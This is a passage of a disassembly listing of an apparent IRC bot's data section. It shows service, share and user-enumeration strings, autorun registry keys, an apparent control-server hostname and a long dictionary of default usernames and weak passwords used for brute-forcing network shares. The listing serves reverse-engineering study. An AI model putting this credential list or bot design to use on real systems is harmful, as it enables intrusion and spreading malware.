					; sub_40D8F8+50r ...
					; "Add"
off_42DAEC	dd offset aAdded	; DATA XREF: sub_40D511+2Dr
					; sub_40D8F8+82r ...
					; "Added"
dword_42DAF0	dd 0			; DATA XREF: sub_40D511+18r
		dd offset aDelete_0	; "Delete"
		dd offset aDeleted	; "Deleted"
		align 10h
		dd offset aList_0	; "List"
		dd offset aListed	; "Listed"
		dd 0
		dd offset aStart_0	; "Start"
		dd offset aStarted	; "Started"
		align 8
		dd offset aStop_0	; "Stop"
		dd offset aStopped_0	; "Stopped"
		dd 1, 42DB5Ch, 42DB54h,	2, 42DB48h, 42DB3Ch, 3,	746E6F43h
		dd 65756E69h, 64h, 746E6F43h, 65756E69h, 0
aPaused		db 'Paused',0
		align 4
aPause_0	db 'Pause',0
		align 4
aStopped_0	db 'Stopped',0          ; DATA XREF: .data:0042DB1Co
aStop_0		db 'Stop',0             ; DATA XREF: .data:0042DB18o
		align 4
aStarted	db 'Started',0          ; DATA XREF: .data:0042DB10o
aStart_0	db 'Start',0            ; DATA XREF: .data:0042DB0Co
		align 4
aListed		db 'Listed',0           ; DATA XREF: .data:0042DB04o
		align 4
aList_0		db 'List',0             ; DATA XREF: .data:0042DB00o
		align 4
aDeleted	db 'Deleted',0          ; DATA XREF: .data:0042DAF8o
aDelete_0	db 'Delete',0           ; DATA XREF: .data:0042DAF4o
		align 4
aAdded		db 'Added',0            ; DATA XREF: .data:off_42DAECo
		align 4
aAdd		db 'Add',0              ; DATA XREF: .data:off_42DAE8o
dword_42DBB0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D511+74o
		dd 2BBBB02h
aSNoServiceSpec	db '  %s: No service specified.',0
dword_42DBE4	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D511+55o
		dd 2BBBB02h
aErrorWithServi	db '  Error with service: ',27h,'%s',27h,'. %s',0
		align 4
dword_42DC1C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D511+38o
		dd 2BBBB02h
aSServiceS_	db '  %s service: ',27h,'%s',27h,'.',0
aAnUnknownErr_0	db 'An unknown error occurred: <%ld>',0 ; DATA XREF: sub_40D63A+12Co
		align 4
aTheSystemIsShu	db 'The system is shutting down.',0 ; DATA XREF: sub_40D63A:loc_40D752o
		align 4
aTheServiceHasN	db 'The service has not been started.',0 ; DATA XREF: sub_40D63A:loc_40D74Bo
		align 10h
aTheRequested_1	db 'The requested control code cannot be sent to the service because '
					; DATA XREF: sub_40D63A:loc_40D744o
		db 'the state of the service.',0
		align 4
aTheServiceHa_0	db 'The service has been marked for deletion.',0
					; DATA XREF: sub_40D63A:loc_40D73Do
		align 4
aTheServiceCoul	db 'The service could not be logged on. The account does not have the'
					; DATA XREF: sub_40D63A:loc_40D736o
		db ' correct access rights.',0
		align 4
aTheSpecified_0	db 'The specified service does not exist.',0
					; DATA XREF: sub_40D63A:loc_40D72Fo
		align 4
aTheServiceHasB	db 'The service has been disabled.',0 ; DATA XREF: sub_40D63A:loc_40D728o
		align 10h
aTheServiceDe_0	db 'The service depends on another service that has failed to start.',0
					; DATA XREF: sub_40D63A:loc_40D721o
		align 8
aTheServiceDepe	db 'The service depends on a service that does not exist or has been '
					; DATA XREF: sub_40D63A:loc_40D71Ao
		db 'marked for deletion.',0
		align 10h
aTheSpecifiedDa	db 'The specified database does not exist.',0
					; DATA XREF: sub_40D63A:loc_40D713o
		align 4
aAnInstanceOfTh	db 'An instance of the service is already running.',0
					; DATA XREF: sub_40D63A:loc_40D6E8o
		align 4
aTheRequested_0	db 'The requested control code is not valid, or it is unacceptable to'
					; DATA XREF: sub_40D63A:loc_40D6E1o
		db ' the service.',0
		align 4
aTheProcessForT	db 'The process for the service was started, but it did not call Star'
					; DATA XREF: sub_40D63A:loc_40D6DAo
		db 'tServiceCtrlDispatcher.',0
		align 4
aAThreadCouldNo	db 'A thread could not be created for the service.',0
					; DATA XREF: sub_40D63A:loc_40D6D3o
		align 4
aTheDatabaseIsL	db 'The database is locked.',0 ; DATA XREF: sub_40D63A+8Fo
		align 10h
aTheServiceCann	db 'The service cannot be stopped because other running services are '
					; DATA XREF: sub_40D63A:loc_40D6A8o
		db 'dependent on it.',0
		align 4
aTheServiceBina	db 'The service binary file could not be found.',0
					; DATA XREF: sub_40D63A:loc_40D69Eo
aTheHandleDoesN	db 'The handle does not have the required access right.',0
					; DATA XREF: sub_40D63A:loc_40D694o
aTheHandleIsInv	db 'The handle is invalid.',0 ; DATA XREF: sub_40D63A:loc_40D68Ao
		align 4
aTheRequestedCo	db 'The requested control code is undefined.',0
					; DATA XREF: sub_40D63A:loc_40D680o
		align 4
aTheSpecifiedSe	db 'The specified service name is invalid.',0 ; DATA XREF: sub_40D63A+3Co
		align 10h
aSSS		db '%s: %s (%s)',0      ; DATA XREF: sub_40D7B8+EEo
aStopped	db '    Stopped',0      ; DATA XREF: sub_40D7B8:loc_40D887o
aStarting	db '   Starting',0      ; DATA XREF: sub_40D7B8:loc_40D880o
aStoping	db '    Stoping',0      ; DATA XREF: sub_40D7B8:loc_40D879o
aRunning	db '    Running',0      ; DATA XREF: sub_40D7B8:loc_40D872o
aContinuing	db ' Continuing',0      ; DATA XREF: sub_40D7B8:loc_40D86Bo
aPausing	db '    Pausing',0      ; DATA XREF: sub_40D7B8:loc_40D864o
aPaused_0	db '     Paused',0      ; DATA XREF: sub_40D7B8:loc_40D85Do
aUnknown_0	db '    Unknown',0      ; DATA XREF: sub_40D7B8+9Eo
aTheFollowingWi	db 'The following Windows services are registered:',0
					; DATA XREF: sub_40D7B8+25o
		align 4
dword_42E18C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D8F8+ABo
		dd 2BBBB02h
aSNoShareSpecif	db '  %s: No share specified.',0
		align 10h
dword_42E1C0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D8F8+89o
		dd 2BBBB02h
aSShareS_	db '  %s share: ',27h,'%s',27h,'.',0
		align 4
dword_42E1EC	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40D8F8+57o
		dd 2BBBB02h
aSErrorWithShar	db '  %s: Error with share: ',27h,'%s',27h,'. %s',0
		align 4
a14s24s6u4s	db '%-14S %-24S %-6u %-4s',0 ; DATA XREF: sub_40DAED+D0o
		align 10h
aNo		db 'No',0               ; DATA XREF: sub_40DAED+BCo
		align 4
aYes		db 'Yes',0              ; DATA XREF: sub_40DAED+B5o
dword_42E248	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DAED+76o
		dd 2BBBB02h
aShareListError	db '  Share list error: %s <%ld>',0
		align 10h
aShareNameResou	db 'Share name:    Resource:                Uses:  Desc:',0
					; DATA XREF: sub_40DAED+26o
		align 4
dword_42E2B8	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DC0E+B6o
		dd 2BBBB02h
aSNoUsernameSpe	db '  %s: No username specified.',0
		align 10h
dword_42E2F0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DC0E+94o
		dd 2BBBB02h
aSErrorWithUser	db '  %s: Error with username: ',27h,'%s',27h,'. %s',0
dword_42E32C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DC0E+6Do
		dd 2BBBB02h
aSUsernameS_	db '  %s username: ',27h,'%s',27h,'.',0
		align 4
dword_42E35C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40DD54+394o
		dd 2BBBB02h
aUserInfoErrorL	db '  User info error: <%ld>',0
		align 10h
aUnitsPerWeekD	db 'Units Per Week: %d',0 ; DATA XREF: sub_40DD54+36Ao
		align 4
aMax_StorageD	db 'Max. Storage: %d',0 ; DATA XREF: sub_40DD54+33Fo
		align 4
aUserSLanguageD	db 'User',27h,'s Language: %d',0 ; DATA XREF: sub_40DD54+317o
aCountryCodeD	db 'Country Code: %d',0 ; DATA XREF: sub_40DD54+2ECo
		align 10h
aWorkstationsS	db 'Workstations: %S',0 ; DATA XREF: sub_40DD54+2C4o
		align 4
aLogonServerS	db 'Logon Server: %S',0 ; DATA XREF: sub_40DD54+299o
		align 4
aLastLogoffD	db 'Last Logoff: %d',0  ; DATA XREF: sub_40DD54+271o
aLastLogonD	db 'Last Logon: %d',0   ; DATA XREF: sub_40DD54+246o
		align 4
aNumberOfLogins	db 'Number of Logins: %d',0 ; DATA XREF: sub_40DD54+21Eo
		align 10h
aBadPasswordCou	db 'Bad Password Count: %d',0 ; DATA XREF: sub_40DD54+1F3o
		align 4
aPasswordAgeD	db 'Password Age: %d',0 ; DATA XREF: sub_40DD54+1CBo
		align 4
aParametersS	db 'Parameters: %S',0   ; DATA XREF: sub_40DD54+1A0o
		align 4
aHomeDirectoryS	db 'Home Directory: %S',0 ; DATA XREF: sub_40DD54+178o
		align 10h
aAuthFlagsD	db 'Auth Flags: %d',0   ; DATA XREF: sub_40DD54+14Do
		align 10h
aPrivilegeLevel	db 'Privilege Level: %s',0 ; DATA XREF: sub_40DD54+125o
aGuest		db 'Guest',0            ; DATA XREF: sub_40DD54:loc_40DE6Do
		align 4
aUser_1		db 'User',0             ; DATA XREF: sub_40DD54:loc_40DE66o
		align 4
aAdministrator	db 'Administrator',0    ; DATA XREF: sub_40DD54:loc_40DE5Fo
					; .data:0042EAB8o ...
		align 4
aCommentS	db 'Comment: %S',0      ; DATA XREF: sub_40DD54+D4o
aUserCommentS	db 'User Comment: %S',0 ; DATA XREF: sub_40DD54+ACo
		align 4
aFullNameS	db 'Full Name: %S',0    ; DATA XREF: sub_40DD54+81o
		align 4
aAccountS	db 'Account: %S',0      ; DATA XREF: sub_40DD54+50o
aTotalUsersFoun	db 'Total users found: %d.',0 ; DATA XREF: sub_40E122+145o
		align 4
dword_42E528	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E122:loc_40E20Fo
		dd 2BBBB02h
aAnAccessViolat	db '  An access violation has occured.',0
		align 4
aS_6		db '  %S',0             ; DATA XREF: sub_40E122+BAo
		align 4
dword_42E56C	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E122+7Ao
		dd 2BBBB02h
aUserListErrorS	db '  User list error: %s <%ld>',0
aUsernameAccoun	db 'Username accounts for local system:',0 ; DATA XREF: sub_40E122+29o
aNetworkConnect	db 'Network connection not found.',0 ; DATA XREF: sub_40E298:loc_40E3B5o
		align 4
aTheUserNameCou	db 'The user name could not be found.',0 ; DATA XREF: sub_40E298:loc_40E3AEo
		align 4
aShareNotFound_	db 'Share not found.',0 ; DATA XREF: sub_40E298:loc_40E3A7o
		align 4
aTheComputerNam	db 'The computer name is invalid.',0 ; DATA XREF: sub_40E298:loc_40E3A0o
		align 4
aAnUnknownError	db 'An unknown error occurred.',0 ; DATA XREF: sub_40E298:loc_40E399o
		align 4
aThePasswordIsS	db 'The password is shorter than required (or does not meet the passw'
					; DATA XREF: sub_40E298:loc_40E37Co
		db 'ord policy requirement.)',0
		align 4
aTheGroupAlread	db 'The group already exists.',0 ; DATA XREF: sub_40E298:loc_40E375o
		align 10h
aTheUserAccount	db 'The user account already exists.',0 ; DATA XREF: sub_40E298:loc_40E36Eo
		align 8
aTheOperationIs	db 'The operation is allowed only on the primary domain controller of'
					; DATA XREF: sub_40E298+CFo
		db ' the domain.',0
		align 4
aAGeneralFailur	db 'A general failure occurred in the network hardware.',0
					; DATA XREF: sub_40E298:loc_40E343o
aLevelParameter	db 'Level parameter is invalid.',0 ; DATA XREF: sub_40E298:loc_40E33Co
aDeviceOrDirect	db 'Device or directory does not exist.',0
					; DATA XREF: sub_40E298:loc_40E335o
aInvalidForRedi	db 'Invalid for redirected resource.',0 ; DATA XREF: sub_40E298:loc_40E32Bo
		align 10h
aDuplicateShare	db 'Duplicate share name.',0 ; DATA XREF: sub_40E298+89o
		align 4
aTheNameIsInval	db 'The name is invalid.',0 ; DATA XREF: sub_40E298:loc_40E305o
		align 10h
aAccessDenied_	db 'Access denied.',0   ; DATA XREF: sub_40E298:loc_40E2FBo
		align 10h
aNotEnoughMemor	db 'Not enough memory.',0 ; DATA XREF: sub_40E298:loc_40E2F1o
		align 4
aThisNetworkReq	db 'This network request is not supported.',0
					; DATA XREF: sub_40E298:loc_40E2E7o
		align 4
aServerNameNotF	db 'Server name not found.',0 ; DATA XREF: sub_40E298:loc_40E2DDo
		align 4
aInvalidParamet	db 'Invalid parameter.',0 ; DATA XREF: sub_40E298+3Bo
		align 4
dword_42E888	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E3CC+ABo
		dd 2BBBB02h
aSServerSMessag	db '  %s <Server: %S> <Message: %S>',0
dword_42E8C0	dd 7A026E02h, 201F6D1Fh, 74656E28h, 6C1F702Eh, 2029671Fh
					; DATA XREF: sub_40E3CC+81o
		dd 2BBBB02h
aMessageSentSuc	db '  Message sent successfully.',0
		align 4
dword_42E8F8	dd 1F90h		; DATA XREF: sub_40E48A+391r
					; sub_40E48A+444r
dword_42E8FC	dd 1F91h		; DATA XREF: sub_40E48A+490r
dword_42E900	dd 30EAh		; DATA XREF: sub_40EC43:loc_4149C3r
dword_42E904	dd 18F4h		; DATA XREF: sub_4070A3+3Br
					; sub_40EC43+528Fr
dword_42E908	dd 1BB0h		; DATA XREF: sub_4070A3:loc_407352r
					; sub_40EC43:loc_413FC3r
dword_42E90C	dd 0A84h		; DATA XREF: sub_40EC43:loc_414138r
dword_42E910	dd 1			; DATA XREF: sub_40EC43+623r
dword_42E914	dd 1			; DATA XREF: sub_40E48A+13Ar
dword_42E918	dd 1			; DATA XREF: sub_40AA70+Cr
					; sub_40E48A:loc_40E7A7r
byte_42E91C	db 2Eh			; DATA XREF: sub_40CDEC:loc_40CDF8r
					; sub_40EC43+A99r ...
		align 10h
dword_42E920	dd 6			; DATA XREF: sub_415704+2Br
					; sub_415704+51r ...
dword_42E924	dd 4			; DATA XREF: sub_40E961+78r
					; sub_40EC43+26Er ...
a8652		db '8652',0
		align 10h
aAdministrato_0	db 'administrator',0
		align 10h
aSym		db 'sym',0
		dd 0
		db 2 dup(0)
byte_42E94A	db 1			; DATA XREF: sub_40EC43:loc_413AC7r
					; sub_40EC43+4E8Eo
aAsn445		db 'asn445',0
		align 4
		dd 100h, 3 dup(0)
aBotid		db 'botid',0            ; DATA XREF: sub_40E48A+5Ao
					; sub_40EC43+3E0Ao ...
		align 4
aTarabTool	db 'Tarab tool',0       ; DATA XREF: sub_40EC43:loc_414BC2o
		align 4
a3zef		db '3zef',0             ; DATA XREF: sub_40EC43+60EFo
					; sub_40EC43+61B2o
		align 10h
aSakenQlbe_net	db 'saken-qlbe.net',0   ; DATA XREF: sub_40E48A+37Co
					; sub_40E48A+435o
		align 10h
a1		db '#1#',0              ; DATA XREF: sub_40E48A+39Do
					; sub_40E48A+44Bo
a7lome		db '7lome',0            ; DATA XREF: sub_40E48A+3B4o
					; sub_40E48A+45Do
		align 4
byte_42E99C	db 73h			; DATA XREF: sub_40E48A:loc_40E8FDr
					; sub_40E48A+481o
		db 61h,	6Bh, 65h
		dd 6C712D6Eh, 6E2E6562h, 7465h
dword_42E9AC	dd 233123h		; DATA XREF: sub_40E48A+497o
a7lome_0	db '7lome',0            ; DATA XREF: sub_40E48A+4A9o
		align 4
byte_42E9B8	db 74h			; DATA XREF: sub_402B61+Fo
					; sub_4030BE+81o ...
		db 69h,	63h, 74h
		dd 2E666876h, 657865h
dword_42E9C4	dd 65627663h, 6C642E69h, 6Ch ; DATA XREF: sub_4022B5+3Do
aSystam13	db 'Systam13',0         ; DATA XREF: sub_40BFCF+Bo
		align 4
aBot		db '[bot]-',0           ; DATA XREF: sub_415704+12o
		align 4
aFirstswin_exe	db 'firstswin.exe',0
		align 4
aXi		db '+xi',0              ; DATA XREF: sub_40EC43+6232o
a2		db '#2',0               ; DATA XREF: sub_40EC43:loc_411E86o
					; sub_40EC43+504Eo
		align 4
a2_0		db '#2',0               ; DATA XREF: sub_40EC43+1E93o
		align 10h
a2_1		db '#2',0               ; DATA XREF: sub_40EC43+1CE5o
		align 4
off_42EA04	dd offset a@admin_com	; DATA XREF: sub_40EC43+6152r
					; "*@admin.com"
off_42EA08	dd offset aTarabTool_0	; DATA XREF: sub_40EC43+87Dr
					; "Tarab tool"
aSoftwareMicr_0	db 'Software\Microsoft\Windows\CurrentVersion\Run',0
					; DATA XREF: .data:off_42D2B0o
		align 4
		db 53h
aOftwareMicro_0	db 'oftware\Microsoft\Windows\CurrentVersion\RunServices',0
		align 4
aSoftwareMicros	db 'Software\Microsoft\OLE',0 ; DATA XREF: sub_415CC2+28o
					; sub_415FE8+28o
		align 4
aSystemCurrentc	db 'SYSTEM\CurrentControlSet\Control\Lsa',0 ; DATA XREF: sub_415CC2+D4o
					; sub_415FE8+D4o
		align 8
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_1 ; "administrator"
		dd offset aAdministrador ; "administrador"
		dd offset aAdministrateur ; "administrateur"
		dd offset aAdministrat	; "administrat"
		dd offset aAdmins	; "admins"
		dd offset aAdmin	; "admin"
		dd offset aStaff	; "staff"
		dd offset aRoot		; "root"
		dd offset aComputer	; "computer"
		dd offset aOwner	; "owner"
		dd offset aStudent	; "student"
		dd offset aTeacher	; "teacher"
		dd offset aWwwadmin	; "wwwadmin"
		dd offset aGuest_0	; "guest"
		dd offset aDefault	; "default"
		dd offset aDatabase	; "database"
		dd offset aDba		; "dba"
		dd offset aOracle	; "oracle"
		dd offset aDb2		; "db2"
		align 10h
		dd offset byte_43BCE8
		dd offset byte_43BCE8
		dd offset aAdministrato_2 ; "ADMINISTRATOR"
		dd offset aAdministrator ; "Administrator"
		dd offset aAdministrato_1 ; "administrator"
		dd offset aFubar	; "fubar"
		dd offset aBla		; "bla"
		dd offset aGuest_1	; "GUEST"
		dd offset aRoot_0	; "ROOT"
		dd offset aRoot		; "root"
		dd offset aAdmin_0	; "ADMIN"
		dd offset aPassword	; "PASSWORD"
		dd offset aTemp		; "TEMP"
		dd offset aShare_0	; "SHARE"
		dd offset aWrite	; "WRITE"
		dd offset aFull_0	; "FULL"
		dd offset aLadeda	; "ladeda"
		dd offset aBoth		; "BOTH"
		dd offset aRead		; "READ"
		dd offset aFiles	; "FILES"
		dd offset aDemo		; "DEMO"
		dd offset aOwner_0	; "OWNER"
		dd offset aOwner_1	; "Owner"
		dd offset aEdu		; "edu"
		dd offset aTest		; "TEST"
		dd offset aAccess	; "ACCESS"
		dd offset aUser_0	; "USER"
		dd offset aBackup	; "BACKUP"
		dd offset aSystem	; "SYSTEM"
		dd offset aServer_0	; "SERVER"
		dd offset aPepsi	; "pepsi"
		dd offset aLocal	; "LOCAL"
		dd offset aUnix		; "unix"
		dd offset aLinux	; "linux"
		dd offset aChangeme	; "changeme"
		dd offset aChangeme_0	; "Changeme"
		dd offset aTemp123	; "temp123"
		dd offset a1_0		; "1"
		dd offset a12		; "12"
		dd offset a123		; "123"
		dd offset a1234		; "1234"
		dd offset a12345	; "12345"
		dd offset a123456	; "123456"
		dd offset a1234567	; "1234567"
		dd offset a12345678	; "12345678"
		dd offset a123456789	; "123456789"
		dd offset a654321	; "654321"
		dd offset a54321	; "54321"
		dd offset a111		; "111"
		dd offset a11111111	; "11111111"
		dd offset a88888888	; "88888888"
		dd offset aPass_0	; "pass"
		dd offset aPasswd	; "passwd"
		dd offset aDatabase	; "database"
		dd offset aAbcd		; "abcd"
		dd offset aAbc123	; "abc123"
		dd offset aOracle	; "oracle"
		dd offset aSybase	; "sybase"
		dd offset a123qwe	; "123qwe"
		dd offset aComputer	; "computer"
		dd offset aInternet	; "Internet"
		dd offset aSuper	; "super"
		dd offset a123asd	; "123asd"
		dd offset aIhavenopass	; "ihavenopass"
		dd offset aGodblessyou	; "godblessyou"
		dd offset aEnable	; "enable"
		dd offset aXp_0		; "xp"
		dd offset a2002		; "2002"
		dd offset a2003		; "2003"
		dd offset a2600		; "2600"
		dd offset a110		; "110"
		dd offset a111111	; "111111"
		dd offset a121212	; "121212"
		dd offset a123123	; "123123"
		dd offset a1234qwer	; "1234qwer"
		dd offset a123abc	; "123abc"
		dd offset a007		; "007"
		dd offset aAlpha	; "alpha"
		dd offset aPatrick	; "patrick"
		dd offset aPat		; "pat"
		dd offset aSex		; "sex"
		dd offset aGod		; "god"
		dd offset aFoobar	; "foobar"
		dd offset aNilez	; "Nilez"
		dd offset aDevil	; "devil"
		dd offset aNetdevil	; "netdevil"
		dd offset aNetDevil	; "net-devil"
		dd offset a0wned	; "0wned"
		dd offset aOwned	; "owned"
		dd offset aIrule	; "irule"
		dd offset aNetfuck	; "netfuck"
		dd offset aFucked	; "fucked"
		dd offset aCrash	; "crash"
		dd offset aA_1		; "a"
		dd offset aAaa		; "aaa"
		dd offset aAbc		; "abc"
		dd offset aTest123	; "test123"
		dd offset aWin		; "win"
		dd offset aPc		; "pc"
		dd offset aAsdf		; "asdf"
		dd offset aSecret	; "secret"
		dd offset aQwer		; "qwer"
		dd offset aYxcv		; "yxcv"
		dd offset aZxcv		; "zxcv"
		dd offset aHome		; "home"
		dd offset aLogin	; "login"
		dd offset aPwd		; "pwd"
		dd offset aLove		; "love"
		dd offset aMypc		; "mypc"
		dd offset aMypc123	; "mypc123"
		dd offset aAdmin123	; "admin123"
		dd offset aPw123	; "pw123"
		dd offset aMypass	; "mypass"
		dd offset aMypass123	; "mypass123"
		dd offset aPw		; "pw"
		dd offset aMat		; "Mat"
		dd offset aMatt		; "Matt"
		dd offset aMatthew	; "Matthew"
		dd offset aGobo		; "gobo"
		dd offset aSatan	; "satan"
		dd offset aSatanik	; "satanik"
		dd offset aSatanic	; "satanic"
		dd offset aSpaceman	; "spaceman"
		dd offset aHeaven	; "heaven"
		dd offset aW00t		; "w00t"
		dd offset a0wn3d	; "0wn3d"
		dd offset aKiller	; "killer"
		dd offset aLeet		; "leet"
		dd offset aL33t		; "l33t"
		dd offset aL337		; "l337"
		dd offset aHacker	; "hacker"
		dd offset aHax0r	; "hax0r"
		dd offset aScript	; "script"
		dd offset aScriptkiddie	; "scriptkiddie"
		dd offset aKiddie	; "kiddie"
		dd offset aMirc_0	; "mirc"
		dd offset aUwontguessme	; "uwontguessme"
		dd offset aYouwontguessme ; "youwontguessme"
		dd offset aGuessme	; "guessme"
		dd offset asc_433F74	; "x"
		dd offset aXx		; "xx"
		dd offset aXxx		; "xxx"
		dd offset aXxxx		; "xxxx"
		dd offset aXxxxx	; "xxxxx"
		dd offset aXxxxxx	; "xxxxxx"
		dd offset aXxxxxxx	; "xxxxxxx"
		dd offset aXxxxxxxx	; "xxxxxxxx"
		dd offset aXxxxxxxxx	; "xxxxxxxxx"
		dd offset dword_427A14
		dd offset a00		; "00"
		dd offset aDeath	; "death"
		dd offset aTesting	; "testing"
		dd offset a000		; "000"
		dd offset a0000		; "0000"
		dd offset a00000	; "00000"
		dd offset a000000	; "000000"
		dd offset aAcademia	; "academia"
		dd offset aAcademic	; "academic"
		dd offset aAccept	; "accept"
		dd offset aAccount	; "account"
		dd offset aAction	; "action"
		dd offset aAdam		; "adam"
		dd offset aAdrian	; "adrian"
		dd offset aAdrianna	; "adrianna"
		dd offset aAdult	; "adult"
		dd offset aAerobics	; "aerobics"
		dd offset aAids		; "aids"
		dd offset aAirplane	; "airplane"
		dd offset aAlaska	; "alaska"
		dd offset aAlbany	; "albany"
		dd offset aAlbatros	; "albatros"
		dd offset aAlbert	; "albert"
		dd offset aAlert	; "alert"
		dd offset aAlex		; "alex"
		dd offset aAlexande	; "alexande"
		dd offset aAlgebra	; "algebra"
		dd offset aAlias	; "alias"
		dd offset aAliases	; "aliases"
		dd offset aAlice	; "alice"
		dd offset aAlicia	; "alicia"
		dd offset aAlisa	; "alisa"
		dd offset aAlison	; "alison"
		dd offset aAllison	; "allison"
		dd offset aAllow	; "allow"
		dd offset aAlphabet	; "alphabet"
		dd offset aAmadeus	; "amadeus"
		dd offset aAmanda	; "amanda"
		dd offset aAmber	; "amber"
		dd offset aAmerica	; "america"
		dd offset aAmorphou	; "amorphou"
		dd offset aAnal		; "anal"
		dd offset aAnalog	; "analog"
		dd offset aAnarchis	; "anarchis"
		dd offset aAnarchy	; "anarchy"
		dd offset aAnchor	; "anchor"
		dd offset aAndrea	; "andrea"
		dd offset aAndroid	; "android"
		dd offset aAndromac	; "andromac"
		dd offset aAndy		; "andy"
		dd offset aAnfo		; "anfo"
		dd offset aAngela	; "angela"
		dd offset aAngerine	; "angerine"
		dd offset aAngie	; "angie"
		dd offset aAnimal	; "animal"
		dd offset aAnimals	; "animals"
		dd offset aAnita	; "anita"
		dd offset aAnna		; "anna"
		dd offset aAnne		; "anne"
		dd offset aAnnette	; "annette"
		dd offset aAnon		; "anon"
		dd offset aAnonymou	; "anonymou"
		dd offset aAnswer	; "answer"
		dd offset aAnthrax	; "anthrax"
		dd offset aAnthropo	; "anthropo"
		dd offset aAnvils	; "anvils"
		dd offset aAnything	; "anything"
		dd offset aApollo13	; "apollo13"
		dd offset aApril	; "april"
		dd offset aAria		; "aria"
		dd offset aAriadne	; "ariadne"
		dd offset aArlene	; "arlene"
		dd offset aArmy		; "army"
		dd offset aArrow	; "arrow"
		dd offset aArthur	; "arthur"
		dd offset aArtist	; "artist"
		dd offset aAsian	; "asian"
		dd offset aAsshole	; "asshole"
		dd offset aAthena	; "athena"
		dd offset aAtmosphe	; "atmosphe"
		dd offset aAtom		; "atom"
		dd offset aAttack	; "attack"
		dd offset aAuthoriz	; "authoriz"
		dd offset aAztecs	; "aztecs"
		dd offset aAzure	; "azure"
		dd offset aBabe		; "babe"
		dd offset aBaby		; "baby"
		dd offset aBacchus	; "bacchus"
		dd offset aBackdoor	; "backdoor"
		dd offset aBadass	; "badass"
		dd offset aBailey	; "bailey"
		dd offset aBall		; "ball"
		dd offset aBanana	; "banana"
		dd offset aBananas	; "bananas"
		dd offset aBandit	; "bandit"
		dd offset aBank		; "bank"
		dd offset aBanks	; "banks"
		dd offset aBarbara	; "barbara"
		dd offset aBarber	; "barber"
		dd offset aBare		; "bare"
		dd offset aBarf		; "barf"
		dd offset aBaritone	; "baritone"
		dd offset aBart		; "bart"
		dd offset aBartman	; "bartman"
		dd offset aBaseball	; "baseball"
		dd offset aBasic	; "basic"
		dd offset aBass		; "bass"
		dd offset aBassoon	; "bassoon"
		dd offset aBatch	; "batch"
		dd offset aBatman	; "batman"
		dd offset aBeach	; "beach"
		dd offset aBeammeup	; "beammeup"
		dd offset aBear		; "bear"
		dd offset aBeast	; "beast"
		dd offset aBeater	; "beater"
		dd offset aBeauty	; "beauty"
		dd offset aBeaver	; "beaver"
		dd offset aBecky	; "becky"
		dd offset aBeethove	; "beethove"
		dd offset aBegin	; "begin"
		dd offset aBehead	; "behead"
		dd offset aBell		; "bell"
		dd offset aBeloved	; "beloved"
		dd offset aBenz		; "benz"
		dd offset aBeowulf	; "beowulf"
		dd offset aBerkeley	; "berkeley"
		dd offset aBerlin	; "berlin"
		dd offset aBerliner	; "berliner"
		dd offset aBeryl	; "beryl"
		dd offset aBeta		; "beta"
		dd offset aBeth		; "beth"
		dd offset aBetsie	; "betsie"
		dd offset aBetty	; "betty"
		dd offset aBeverly	; "beverly"
		dd offset aBible	; "bible"
		dd offset aBicamera	; "bicamera"
		dd offset aBigfoot	; "bigfoot"
		dd offset aBill		; "bill"
		dd offset aBinary	; "binary"
		dd offset aBios		; "bios"
		dd offset aBird		; "bird"
		dd offset aBishop	; "bishop"
		dd offset aBitch	; "bitch"
		dd offset aBitmap	; "bitmap"
		dd offset aBitnet	; "bitnet"
		dd offset aBlack	; "black"
		dd offset aBlonde	; "blonde"
		dd offset aBlondie	; "blondie"
		dd offset aBlood	; "blood"
		dd offset aBloodaxe	; "bloodaxe"
		dd offset aBlow		; "blow"
		dd offset aBlowjob	; "blowjob"
		dd offset aBlue		; "blue"
		dd offset aBlues	; "blues"
		dd offset aBoard	; "board"
		dd offset aBomb		; "bomb"
		dd offset aBoner	; "boner"
		dd offset aBoob		; "boob"
		dd offset aBoobs	; "boobs"
		dd offset aBook		; "book"
		dd offset aBorn		; "born"
		dd offset aBoyscout	; "boyscout"
		dd offset aBradley	; "bradley"
		dd offset aBrandi	; "brandi"
		dd offset aBrandy	; "brandy"
		dd offset aBravo	; "bravo"
		dd offset aBreak	; "break"
		dd offset aBreast	; "breast"
		dd offset aBrenda	; "brenda"
		dd offset aBrian	; "brian"
		dd offset aBridget	; "bridget"
		dd offset aBroadway	; "broadway"
		dd offset aBrothel	; "brothel"
		dd offset aBrunette	; "brunette"
		dd offset aBrute	; "brute"
		dd offset aBrutefor	; "brutefor"
		dd offset aBulls	; "bulls"
		dd offset aBullshit	; "bullshit"
		dd offset aBumbling	; "bumbling"
		dd offset aBung		; "bung"
		dd offset aBurgess	; "burgess"
		dd offset aBurn		; "burn"
		dd offset aButch	; "butch"
		dd offset aButt		; "butt"
		dd offset aButthead	; "butthead"
		dd offset aCaliforn	; "californ"
		dd offset aCamille	; "camille"
		dd offset aCampanil	; "campanil"
		dd offset aCamping	; "camping"
		dd offset aCandi	; "candi"
